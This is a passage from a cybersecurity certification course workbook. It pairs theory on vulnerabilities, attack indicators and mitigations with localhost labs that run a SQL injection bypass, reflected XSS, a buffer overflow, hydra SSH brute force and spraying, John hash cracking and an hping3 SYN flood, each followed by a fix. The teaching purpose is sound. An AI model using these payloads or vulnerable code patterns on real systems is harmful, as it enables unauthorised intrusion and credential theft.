dig +short TXT s1._domainkey.paypal.com
```

7. Compare the sending IP to the SPF list This is a reasoning step. The relay IP in the header (203.0.113.77) is not in PayPal's published SPF record, so SPF would fail. There is no valid DKIM signature from the claimed domain, so DKIM is none. With p=reject in DMARC, a correctly configured receiver would reject the message.

8. Summarise the verdict

```
echo "spf=fail  dkim=none  dmarc=fail  =>  message is SPOOFED (phishing)"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Test it

The learner shows the sending IP is absent from the real SPF record and concludes spf/dkim/dmarc fail, proving the message is spoofed.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-09-phishing-email-analysis/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 2.3 — Types of Vulnerabilities

Official objective: Explain various types of vulnerabilities.

A vulnerability is a weakness that a threat can exploit; this objective catalogues where weaknesses live.

Application flaws include memory injection, buffer overflow, race conditions (TOCTOU) and malicious updates.

Web, OS, hardware, virtualization, cloud, cryptographic, mobile and misconfiguration vulnerabilities each have signature examples.

A zero-day is a flaw with no patch yet available, so no signature-based control can detect it on day one.

Application Vulnerabilities

- Memory injection — Hostile code or data written into a running process's memory to hijack its execution.
- Buffer overflow — Writing past a buffer's bounds overwrites adjacent memory, often the return address, to run attacker code.
- Race condition — A flaw where the result depends on timing between two operations that should be atomic.
- TOC/TOU — Time-of-check to time-of-use: state is validated, then changed before it is used, defeating the check.
- Malicious update — A poisoned patch or dependency that installs the attacker's code through a trusted update channel.
- Root cause — Most trace back to unvalidated input or unsafe memory handling in native code.

Web and Operating-System Flaws

- SQL injection (SQLi) — Untrusted input reaches a database query so it is parsed as SQL syntax, not as data.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Cross-site scripting (XSS) — Injected script runs in another user's browser inside the trusted site's origin.
- OS-based — Kernel, driver or service flaws in the operating system itself, fixed by vendor patches.
- Misconfiguration — Default settings, open shares, weak permissions or verbose errors left exposed.
- Firmware — Low-level code in the BIOS/UEFI or device chips that is rarely updated and hard to inspect.

Hardware and End-of-Life

- Firmware — Exploitable code beneath the OS; a firmware rootkit survives a disk wipe and OS reinstall.
- End-of-life (EOL) — Products past vendor support receive no more security patches, so every new flaw is permanent.
- Legacy — Old systems kept running for business reasons; often unpatchable and must be isolated and compensated.
- Physical access — Hardware an attacker can touch can be tampered with, reset to defaults or have components swapped.

Virtualization and Cloud Weaknesses

- VM escape — Breaking out of a guest VM to execute code on the host hypervisor, compromising every VM on it.
- Resource reuse — Memory or storage freed by one tenant handed to another without clearing leaks residual data.
- Cloud-specific — Misconfigured storage buckets, over-broad IAM roles and exposed management APIs are the common cloud flaws.
- Shared responsibility — Mis-drawing the line between provider and customer duties leaves security gaps uncovered.

Mobile Device Vulnerabilities

- Side loading — Installing apps from outside the official store bypasses vendor vetting and can deliver malware.
- Jailbreaking / rooting — Removing vendor restrictions disables the device's built-in security model and sandbox.
- Lost device — A stolen phone exposes data unless encryption, screen lock and remote wipe are enforced.
- Mitigation — MDM policy, encryption and blocking side-loading restore the controls these actions remove.

Supply-Chain and Cryptographic Flaws

- Service provider — A compromised MSP or SaaS provider becomes your vulnerability by proxy.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Hardware provider — Tampered or counterfeit components introduce backdoors before delivery.
- Software provider — A poisoned build pipeline or dependency ships malware inside a trusted product.
- Cryptographic — Weak or deprecated algorithms (MD5, SSL, RC4), short keys, or poor key management.

Obj 2.3 · Key Idea

- A zero-day has no patch and no signature yet. Because the vendor has not yet released a fix, signature-based defences cannot see it; behavioural detection and defence in depth are the only early countermeasures.

Exam tips

- Buffer overflow overwrites adjacent memory; memory injection writes code into a running process.
- Race condition keyword is TOCTOU: time-of-check versus time-of-use.
- VM escape breaks guest-to-host; resource reuse leaks one tenant's data to another.
- Zero-day = no patch available yet; legacy/EOL = patch will never come.
- SQLi and XSS are the two web-based flaws named explicitly in the objective.

Lab 10 — SQL Injection (SQLi)

Exam objective: 2.3. Learning outcome: Exploit and then patch a vulnerable login with parameterised queries.

Goal: The learner builds a deliberately vulnerable PHP/SQLite login on localhost, bypasses authentication with a manual injection, then fixes it with prepared statements.

What you'll build

A vulnerable login app plus its prepared-statement patch. (Tools: sqlite3, php-cli, php-sqlite3, curl.)

Step-by-step

1. Install the PHP/SQLite stack

```
apt-get update -qq && apt-get install -y sqlite3 php-cli php-sqlite3 curl
```

2. Create the database and a vulnerable login page The query concatenates user input directly — the vulnerability.

```
sqlite3 app.db "CREATE TABLE users(u TEXT, p TEXT); INSERT INTO users
VALUES('admin','s3cret');"

cat > login.php <<'EOF'

<?php
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
$db = new SQLite3('app.db');

$u = $_GET['u']; $p = $_GET['p'];

$sql = "SELECT * FROM users WHERE u='$u' AND p='$p'";   /* VULNERABLE */

$r = $db->query($sql);

echo $r && $r->fetchArray() ? "LOGIN OK\n" : "DENIED\n";

EOF
```

3. Start the local PHP server

```
php -S 127.0.0.1:8080 -t . >/tmp/php.log 2>&1 &

sleep 1 && echo "server up"
```

4. Confirm a normal login works

```
curl -s 'http://127.0.0.1:8080/login.php?u=admin&p=s3cret'

curl -s 'http://127.0.0.1:8080/login.php?u=admin&p=wrong'
```

5. Bypass authentication with an injection The payload closes the username quote and comments out the password check.

```
curl -s "http://127.0.0.1:8080/login.php?u=admin'--+&p=anything"
```

6. Patch with a parameterised query Bind the input with placeholders so it can never be parsed as SQL.

```
cat > login.php <<'EOF'

<?php

$db = new SQLite3('app.db');

$st = $db->prepare("SELECT * FROM users WHERE u=:u AND p=:p");   /* FIXED
*/

$st->bindValue(':u', $_GET['u'], SQLITE3_TEXT);

$st->bindValue(':p', $_GET['p'], SQLITE3_TEXT);

$r = $st->execute();

echo $r && $r->fetchArray() ? "LOGIN OK\n" : "DENIED\n";

EOF
```

7. Verify the injection now fails

```
curl -s "http://127.0.0.1:8080/login.php?u=admin'--+&p=anything"

curl -s 'http://127.0.0.1:8080/login.php?u=admin&p=s3cret'
```

Test it

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

The learner confirms the injection logs in before the patch and is rejected after switching to bound parameters.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-10-sql-injection/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 11 — Cross-Site Scripting (XSS)

Exam objective: 2.3. Learning outcome: Exploit reflected XSS, then mitigate with output encoding and CSP.

Goal: The learner triggers reflected XSS in a tiny PHP page on localhost, then defends with htmlspecialchars output encoding and a Content-Security-Policy header.

What you'll build

A vulnerable search page plus its encoding and CSP mitigations. (Tools: php-cli, curl.)

Step-by-step

1. Install PHP

```
apt-get update -qq && apt-get install -y php-cli curl
```

2. Create a vulnerable reflected page The page echoes the q parameter straight into the HTML body with no encoding.

```
cat > search.php <<'EOF'

<?php

$q = $_GET['q'] ?? '';

echo "<h1>Results for: $q</h1>";   /* VULNERABLE: raw echo */

EOF
```

3. Start the local server

```
php -S 127.0.0.1:8080 -t . >/tmp/php.log 2>&1 &

sleep 1 && echo "server up"
```

4. Trigger the reflected payload The injected markup is returned verbatim, so the browser would render (and execute) it.

```
curl -s 'http://127.0.0.1:8080/search.php?q=<b>INJECTED</b>'
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

5. Mitigate with output encoding htmlspecialchars converts < > " & into entities so the browser shows text, not tags.

```
cat > search.php <<'EOF'

<?php

$q = $_GET['q'] ?? '';

echo "<h1>Results for: " . htmlspecialchars($q, ENT_QUOTES, 'UTF-8') .
"</h1>";

EOF
```

6. Add a Content-Security-Policy header A router script sets a strict CSP as a defence-in-depth layer that blocks injected remote script.

```
cat > router.php <<'EOF'

<?php

header("Content-Security-Policy: default-src 'self'");

header("X-Content-Type-Options: nosniff");

require __DIR__ . '/search.php';

EOF

pkill -f 'php -S' 2>/dev/null; sleep 1

php -S 127.0.0.1:8080 router.php >/tmp/php.log 2>&1 &

sleep 1 && echo "server restarted with CSP"
```

7. Confirm encoding and the CSP header

```
curl -sD - 'http://127.0.0.1:8080/?q=<b>INJECTED</b>' | grep -i 'content-
security-policy'

curl -s  'http://127.0.0.1:8080/?q=<b>INJECTED</b>'
```

Test it

The learner sees the markup render before the fix, then appear escaped with a CSP header served after the fix.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-11-xss/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Lab 12 — Memory Vulnerabilities & Exploit Mitigations

Exam objective: 2.3. Learning outcome: Crash a vulnerable C program, then rebuild it with memory protections.

Goal: The learner compiles a tiny vulnerable C program, observes a stack-based buffer-overflow crash, then rebuilds it with stack canaries, FORTIFY, PIE and ASLR enabled.

What you'll build

A before/after demo of a buffer overflow and the compiler mitigations that stop it. (Tools: gcc, gdb.)

Step-by-step

1. Install the tools Install the GNU C compiler, debugger and ELF tools.

```
apt-get update -qq && apt-get install -y gcc gdb binutils python3
```

2. Write a tiny vulnerable program strcpy copies attacker-controlled input into a 16-byte buffer with no bounds check — the classic overflow.

```
cat > vuln.c <<'EOF'
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
    char buf[16];
    if (argc < 2) { printf("usage: %s <input>\n", argv[0]); return 1; }
    strcpy(buf, argv[1]);      /* no bounds check: overflow */
    printf("stored: %s\n", buf);
    return 0;
}
EOF
```

3. Compile it with protections disabled Turn off the canary, PIE and the non-executable stack so the overflow is observable.

```
gcc -fno-stack-protector -z execstack -no-pie -O0 -o vuln_off vuln.c
file vuln_off
```

4. Trigger the overflow crash A short input is fine; a long input overruns the buffer and corrupts the stack, causing a segmentation fault.

```
./vuln_off hello; echo "short exit=$?"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
./vuln_off "$(python3 -c 'print("A"*64)')"; echo "long exit=$?"
```

5. Check the system ASLR setting Address Space Layout Randomisation makes exploitation harder by randomising memory addresses. 2 means full randomisation.

```
cat /proc/sys/kernel/randomize_va_space
```

6. Rebuild with the mitigations on Enable the stack canary, FORTIFY bounds checks and PIE. These are the defaults on modern Ubuntu; here we set them explicitly.

```
gcc -fstack-protector-strong -D_FORTIFY_SOURCE=2 -O2 -pie -fPIE -o vuln_on
vuln.c
```

7. Confirm the canary now catches the overflow The same long input now aborts cleanly with a detection message instead of silently corrupting memory.

```
./vuln_on "$(python3 -c 'print("A"*64)')" 2>&1 | head -2; echo "exit=$
{PIPESTATUS[0]}"
```

8. Verify the binary's protections PIE (position-independent) plus a __stack_chk symbol confirm the hardening is compiled in.

```
file vuln_on

readelf -d vuln_on 2>/dev/null | grep -i 'bind\|now' || true

nm vuln_on 2>/dev/null | grep -i stack_chk || echo "canary symbol resolved
at runtime"
```

Test it

The learner sees a segfault in the unprotected build and a 'stack smashing detected' abort in the hardened build with PIE and ASLR confirmed on.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-12-memory-vulnerabilities/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 2.4 — Indicators of Malicious Activity

Official objective: Given a scenario, analyze indicators of malicious activity.

This large objective is about reading the signs of an attack across malware, physical, network, application and cryptographic categories.

You must recognise each malware type by behaviour and each attack technique by its mechanism and log footprint.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Password attacks (spraying, brute force) and their detection signatures appear in scenario questions.

A set of named indicators, such as impossible travel and out-of-cycle logging, tells you an incident is in progress.

Malware Types by Behaviour

- Ransomware — Encrypts (and often first exfiltrates) data, then demands payment; double extortion adds a leak threat.
- Trojan — Poses as legitimate software; a RAT variant gives the attacker remote interactive control.
- Worm — Self-propagates across the network with no user action, as WannaCry did over SMB.
- Virus — Attaches to a host file and needs a user to run it before it spreads.
- Spyware — Secretly collects user activity and data; keyloggers are a spyware subtype.
- Keylogger — Records keystrokes to capture passwords and messages.
- Distinguish by behaviour, not name: self-spreading = worm, needs a host file = virus, disguised = trojan.

More Malware the Exam Names

- Bloatware — Unwanted pre-installed software; not malicious by design but enlarges the attack surface and wastes resources.
- Logic bomb — Dormant code that triggers on a date or condition, such as an admin's account being disabled.
- Rootkit — Hides at kernel or firmware level to subvert the OS's own reporting and persist stealthily.
- Fileless malware — Runs in memory using built-in tools (PowerShell, WMI) to avoid leaving a file to scan.

Physical Attacks

- Brute force (physical) — Forcing a physical barrier such as kicking in a door or prying a lock, not password guessing.
- RFID cloning — Copying an access badge's RFID data onto a blank card to impersonate the holder.
- Environmental — Attacking power, cooling or fire suppression to damage equipment or force an outage.
- Defence — Physical controls: locks, mantraps, guards, surveillance and environmental monitoring.

Network Attacks

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- DDoS — A distributed botnet floods a target so blocking one source IP achieves nothing.
- Amplified / reflected — Spoofs the victim's IP to a reflector (DNS, NTP, memcached) that returns a far larger response.
- DNS attacks — Cache poisoning, hijacking or spoofing to redirect victims to attacker-controlled hosts.
- On-path — Formerly man-in-the-middle: the attacker sits between two parties to read or alter traffic.
- Credential replay — Captured authentication data (a hash or token) is resent to impersonate the user.
- Wireless / malicious code — Rogue APs, evil twins and deauth attacks; malicious code injected over the network.

Application Attacks

- Injection — Untrusted input is parsed as code: SQL, OS command, LDAP or XPath injection.
- Buffer overflow — Overflows a buffer to overwrite memory and redirect execution to attacker code.
- Replay — A valid request or token is captured and resent to repeat an authorised action.
- Privilege escalation — Gaining higher rights than granted: vertical to admin, or horizontal to another user.
- Forgery — CSRF forces a logged-in user's browser to submit an action; SSRF makes the server fetch a hostile URL.
- Directory traversal — Using ../ sequences to read files outside the web root, such as /etc/passwd.

Password Attacks and Cryptographic Attacks

- Password attacks: Spraying: one common password tried across many accounts to dodge lockout.
- Password attacks: Brute force: every combination tried; offline against a stolen hash is fastest.
- Password attacks: Dictionary and credential stuffing reuse wordlists and breached pairs.
- Password attacks: Defences: lockout, MFA, length over complexity, and breach-list screening.
- Cryptographic attacks: Downgrade: force a weaker protocol or cipher, as in a TLS-to-SSL downgrade.
- Cryptographic attacks: Collision: find two inputs with the same hash; breaks MD5 and SHA-1.
- Cryptographic attacks: Birthday: the probability maths that makes collisions easier than intuition suggests.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Cryptographic attacks: Defences: strong modern algorithms, long keys and disabling legacy ciphers.

Indicators of an Incident (1)

- Account lockout — A burst of lockouts across many accounts signals password spraying or brute force.
- Concurrent session usage — The same account active from two places at once suggests credential theft.
- Impossible travel — Logins from distant locations closer in time than travel allows mean stolen credentials.
- Blocked content — Security tools blocking URLs or files repeatedly points to an active lure or payload.
- Resource consumption — Sudden CPU, memory, disk or bandwidth spikes can indicate crypto-mining or exfiltration.
- Resource inaccessibility — Files or services suddenly unavailable may mean ransomware encryption or a DoS.

Indicators of an Incident (2)

- Out-of-cycle logging — Log entries at unusual times, such as 3 a.m. admin activity, flag unauthorised use.
- Published / documented — The attack is already described in threat intel or the vendor confirms active exploitation.
- Missing logs — Gaps or cleared logs suggest an attacker is covering their tracks; a strong tamper indicator.
- Correlation matters — No single indicator is proof; a SIEM correlates several into a high-confidence alert.

Exam tips

- Worm self-spreads, virus needs a host file and a user, trojan is disguised, rootkit hides at kernel/firmware level.
- Physical brute force breaks a barrier; password brute force guesses credentials; read the scenario.
- Amplified/reflected DDoS spoofs the victim's IP so a reflector floods it with oversized replies.
- Impossible travel and concurrent sessions are classic stolen-credential indicators; missing logs mean track-covering.
- Downgrade forces weaker crypto; collision/birthday attacks target hash functions.

Lab 13 — Password Attacks: Spraying & Brute Force

Exam objective: 2.4. Learning outcome: Run controlled brute force and spraying, then detect them in the logs.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Goal: The learner brute-forces a local SSH account with hydra, cracks a shadow hash with John, demonstrates spraying, then reads the auth-log signatures each attack leaves.

What you'll build

An attack-and-detect chain covering brute force, cracking and spraying with their log signs. (Tools: hydra, john, openssh-server.)

Step-by-step

1. Install the tools and SSH server

```
apt-get update -qq && apt-get install -y hydra john openssh-server

service ssh start || systemctl start ssh
```

2. Create a target account with a weak password

```
useradd -m victim 2>/dev/null; echo 'victim:password123' | chpasswd

for u in alice bob carol; do useradd -m "$u" 2>/dev/null; echo
"$u:S0mePass!" | chpasswd; done

echo "accounts ready"
```

3. Build a small wordlist A tiny list keeps the demo fast; real attacks use lists such as rockyou.txt.

```
printf 'letmein\nqwerty\npassword123\nadmin\n' > words.txt

cat words.txt
```

4. Brute force SSH against localhost Hydra tries each word until one authenticates.

```
hydra -l victim -P words.txt -t 4 -f ssh://127.0.0.1
```

5. Detect the attack in the auth log A burst of failures for one user is the online brute-force signature.

```
grep 'Failed password' /var/log/auth.log 2>/dev/null | tail -5 \

  || journalctl -u ssh --no-pager 2>/dev/null | grep -i 'failed' | tail -5
```

6. Crack the shadow hash offline with John Extract the victim's hash and crack it with the same wordlist — no lockout applies offline.

```
getent shadow victim > hash.txt

john --wordlist=words.txt hash.txt

john --show hash.txt
```

7. Demonstrate password spraying One password is tried once per account to stay under lockout thresholds.

```
for u in alice bob carol victim; do
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
  hydra -l "$u" -p 'password123' -t 1 -f ssh://127.0.0.1 2>/dev/null | grep
-i 'login:' || true

done
```

8. Spot the spraying signature Spraying shows one password failing across many distinct usernames.

```
grep 'Failed password' /var/log/auth.log 2>/dev/null \

  | grep -oE 'for [a-z]+ ' | sort | uniq -c | sort -nr | head \

  || echo "check journalctl -u ssh for the same pattern"
```

Test it

The learner confirms hydra reports the weak password, John reveals the cracked hash, and the log shows many users failing one password (spraying).

Note: Full commands, troubleshooting and the challenge task are in labs/lab-13-password-attacks/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 14 — Malware Static Analysis & Linux IOC Hunting

Exam objective: 2.4. Learning outcome: Triage a safe sample, then hunt malware indicators on a Linux host.

Goal: The learner triages the harmless EICAR test file with file, strings, hashing and YARA, then hunts Linux indicators: a suspicious process, cron persistence and an unusual listening port.

What you'll build

A static-analysis workflow and a Linux IOC-hunting checklist producing hash and YARA indicators. (Tools: file, binutils, yara, procps, net-tools.)

Step-by-step

1. Install the analysis tools

```
apt-get update -qq && apt-get install -y yara binutils file procps iproute2
coreutils
```

2. Create the safe EICAR test sample The EICAR string is a 68-byte ASCII file agreed by antivirus vendors so you can test detection without real malware.

```
printf '%s' 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-
FILE!$H+H*' > sample.txt
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
wc -c sample.txt
```

3. Identify the file type and compute the IOC hash file reads magic bytes, not the extension; sha256sum produces the indicator you would submit to a threat feed.

```
file sample.txt

sha256sum sample.txt
```

4. Pull printable strings Strings recover URLs, markers and ransom notes embedded in a binary — here, the EICAR marker itself.

```
strings sample.txt
```

5. Write a YARA rule and scan A YARA rule has a strings block of patterns and a condition. This one matches the EICAR marker.

```
cat > eicar.yar <<'EOF'

rule EICAR_Test_File

{

    meta:

        description = "Detects the benign EICAR antivirus test string"

    strings:

        $marker = "EICAR-STANDARD-ANTIVIRUS-TEST-FILE"

    condition:

        $marker

}

EOF

yara eicar.yar sample.txt
```

6. Simulate and hunt a suspicious process Start a harmless long-running process to stand in for a beacon, then hunt for it the way you would during triage.

```
nohup sleep 6000 >/dev/null 2>&1 &

ps -eo pid,etimes,cmd --sort=-etimes | grep -v grep | grep 'sleep 6000'

echo "--- top CPU/mem processes ---"

ps aux --sort=-%cpu | head -5
```

7. Hunt cron persistence Malware commonly persists through cron. Enumerate every cron location an attacker might use.

```
echo '*/5 * * * * root /tmp/.beacon.sh' > /etc/cron.d/suspicious
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
ls -la /etc/cron.d /etc/cron.daily 2>/dev/null

grep -R --include='*' . /etc/cron.d 2>/dev/null

crontab -l 2>/dev/null || echo "no user crontab"
```

8. Hunt unusual listening ports A new or unexpected listening socket is a strong IOC for a backdoor or C2 agent.

```
ss -tulnp | tail -n +1

echo "--- flag anything not in the expected baseline (22/53/80/443) ---"

ss -tlnp | awk 'NR>1 {print $4}'
```

Test it

The learner confirms the YARA rule matches the sample, records its SHA-256 as an IOC, and lists the suspicious process, cron entry and listening port found during the hunt.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-14-malware-static-analysis/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 15 — DoS Simulation and Detection

Exam objective: 2.4. Learning outcome: Generate a controlled SYN flood, detect it, then rate-limit it.

Goal: The learner floods their own loopback with hping3, watches the connection table fill with half-open sockets, then mitigates with SYN cookies and iptables rate-limiting.

What you'll build

A SYN-flood detection-and-mitigation exercise on a local nginx target. (Tools: hping3, nginx, iptables.)

Step-by-step

1. Install the attacker and target

```
apt-get update -qq && apt-get install -y hping3 nginx iptables procps

service nginx start || systemctl start nginx
```

2. Baseline the connection states Record the normal socket summary before any attack.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
ss -s

ss -tan state syn-recv | wc -l
```

3. Launch a loopback-only SYN flood hping3 floods SYNs at the local web port for ten seconds, then stops.

```
timeout 10 hping3 -S -p 80 --flood 127.0.0.1 >/dev/null 2>&1 &

echo "flood running for 10s"
```

4. Watch the half-open connections grow Sample the SYN-RECV count a few times while the flood runs.

```
for i in 1 2 3 4 5; do echo "syn-recv: $(ss -tan state syn-recv | wc -l)";
sleep 1; done
```

5. Enable SYN cookies With SYN cookies on, the server encodes handshake state into the sequence number and allocates nothing until the ACK arrives.

```
sysctl -w net.ipv4.tcp_syncookies=1
```

6. Add an iptables rate limit Cap new SYNs to the web port so a burst cannot fill the backlog.

```
iptables -I INPUT -p tcp --syn --dport 80 -m limit --limit 25/s --limit-
burst 50 -j ACCEPT

iptables -A INPUT -p tcp --syn --dport 80 -j DROP

iptables -L INPUT -n --line-numbers | head
```

7. Re-run the flood and compare With both mitigations active the half-open count stays bounded.

```
timeout 10 hping3 -S -p 80 --flood 127.0.0.1 >/dev/null 2>&1 &

for i in 1 2 3 4 5; do echo "syn-recv: $(ss -tan state syn-recv | wc -l)";
sleep 1; done

ss -s
```

Test it

The learner verifies the SYN-RECV count spikes during the flood and stays bounded after enabling SYN cookies and rate-limiting.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-15-dos-detection/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Objective 2.5 — Mitigation Techniques

Official objective: Explain the purpose of mitigation techniques used to secure the enterprise.

Mitigations reduce the likelihood or impact of a threat; this objective lists the enterprise techniques you must know.

Segmentation, isolation and access control limit how far an attacker can move after a foothold.

Hardening removes unnecessary exposure: patching, encryption, endpoint protection, disabling ports and changing defaults.

Least privilege, application allow lists, configuration enforcement, monitoring and decommissioning round out the set.

Limiting Attacker Movement

- Segmentation — Dividing the network into zones so a breach in one cannot spread freely to the rest.
- Isolation — Cutting a host or workload off entirely, for example quarantining an infected machine.
- Access control — Enforcing who may reach what via ACLs and permissions at each boundary.
- Least privilege — Granting each user and process only the rights needed, shrinking the blast radius of any compromise.

Access-Control Mechanisms

- Access control list (ACL) — An ordered rule set on a firewall, router or file that permits or denies by source, destination or identity.
- Permissions — Read, write and execute rights on files and resources, assigned to users, groups or roles.
- Application allow list — Only explicitly approved programs may run; everything else is blocked by default (strongest).
- Deny list — Blocks known-bad programs but allows everything else; weaker because it misses the unknown.
- An allow list is default-deny and far stronger than a deny list, which is default-allow.

Hardening Techniques

- Patching — Applying vendor updates promptly closes known vulnerabilities before they are exploited.
- Encryption — Protecting data at rest and in transit so stolen media or captured traffic is unreadable.
- Endpoint protection — Installing anti-malware and EDR to detect and stop malicious behaviour on hosts.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Host-based firewall — A per-host firewall filters traffic even inside a trusted network segment.
- HIPS — Host-based intrusion prevention detects and blocks malicious activity on the endpoint itself.
- Disable ports / protocols — Turning off unused services and legacy protocols removes entry points.

Baseline and Default Hygiene

- Default password changes — Replacing factory credentials removes the easiest and most-exploited entry point.
- Remove unnecessary software — Every uninstalled package is one less thing to patch and one less potential flaw.
- Configuration enforcement — Automated tools keep every host at the approved secure baseline and flag drift.
- Decommissioning — Securely retiring and wiping end-of-life assets so they stop being an unmanaged risk.

Applying a Hardening Baseline

- Step 1: Audit the host against a CIS or STIG benchmark
- Step 2: Remove unused software, ports and services
- Step 3: Apply patches, encryption and endpoint protection
- Step 4: Enforce the baseline with configuration tooling
- Step 5: Monitor continuously and re-audit for drift

Obj 2.5 · Key Idea

- Defence in depth layers independent controls. No single mitigation is enough; segmentation, least privilege, hardening and monitoring overlap so one failure does not expose everything.

Monitoring as a Mitigation

- Continuous monitoring — Collecting and reviewing logs and telemetry so an attack is caught early, not months later.
- Baselines — A known-good baseline makes anomalies visible against normal behaviour.
- Alerting — A SIEM correlates events and raises alerts on indicators of compromise.
- Feedback loop — Monitoring findings feed back into patching, segmentation and policy decisions.

Exam tips

- Application allow list is default-deny (strongest); a deny/block list is default-allow and weaker.
- Least privilege and segmentation both shrink the blast radius of a compromise.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Hardening = patch, encrypt, remove software, disable ports, change defaults, add host firewall/HIPS.
- Configuration enforcement keeps hosts on the secure baseline and detects drift automatically.
- Decommissioning securely retires EOL assets so they do not linger as unmanaged risk.

Lab 16 — Linux Hardening Baseline with Lynis

Exam objective: 2.5. Learning outcome: Audit, apply CIS-aligned mitigations, and re-score a Linux host.

Goal: The learner audits an Ubuntu host with Lynis, applies SSH, sysctl, permission and auto-update hardening, then re-audits to measure the improved hardening index.

What you'll build

A before/after hardening score with CIS-aligned baseline fixes applied. (Tools: lynis, unattended-upgrades.)

Step-by-step

1. Install Lynis and automatic updates

```
apt-get update -qq && apt-get install -y lynis unattended-upgrades

lynis --version
```

2. Run the initial audit and note the score Record the starting hardening index (often 60-70 on a stock cloud image).

```
lynis audit system --quick 2>/dev/null | tee lynis-before.txt >/dev/null

grep -i 'hardening index' lynis-before.txt
```

3. Disable unused services Every unused listening service is attack surface; turn off the ones not needed on a server.

```
systemctl disable --now avahi-daemon cups 2>/dev/null

true   # ignore "not found" on minimal images
```

4. Harden the SSH configuration Disable root login, disable X11 forwarding and reload the daemon.

```
sed -i 's/^#*PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config

sed -i 's/^#*X11Forwarding.*/X11Forwarding no/' /etc/ssh/sshd_config

systemctl reload ssh 2>/dev/null || service ssh reload 2>/dev/null || true
```

5. Set a directive login banner A warning banner is a directive control — it instructs users of the terms of use.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
printf 'WARNING: Authorised use only. All activity is logged.\n' >
/etc/issue.net

sed -i 's|^#*Banner.*|Banner /etc/issue.net|' /etc/ssh/sshd_config

systemctl reload ssh 2>/dev/null || true
```

6. Apply kernel sysctl hardening Tighten kernel exposure and enable reverse-path filtering.

```
cat > /etc/sysctl.d/99-hardening.conf <<'EOF'

kernel.dmesg_restrict=1

kernel.kptr_restrict=2

net.ipv4.conf.all.rp_filter=1

net.ipv4.conf.all.accept_redirects=0

net.ipv4.icmp_echo_ignore_broadcasts=1

EOF

sysctl --system >/dev/null
```

7. Enable automatic security updates Prompt patching is the single highest-impact mitigation; enable it non-interactively.

```
dpkg-reconfigure -f noninteractive unattended-upgrades
```

8. Re-audit and compare the hardening index

```
lynis audit system --quick 2>/dev/null | tee lynis-after.txt >/dev/null

grep -i 'hardening index' lynis-before.txt lynis-after.txt
```

Test it

The learner confirms the Lynis hardening index climbs 10-15 points between the before and after audits.

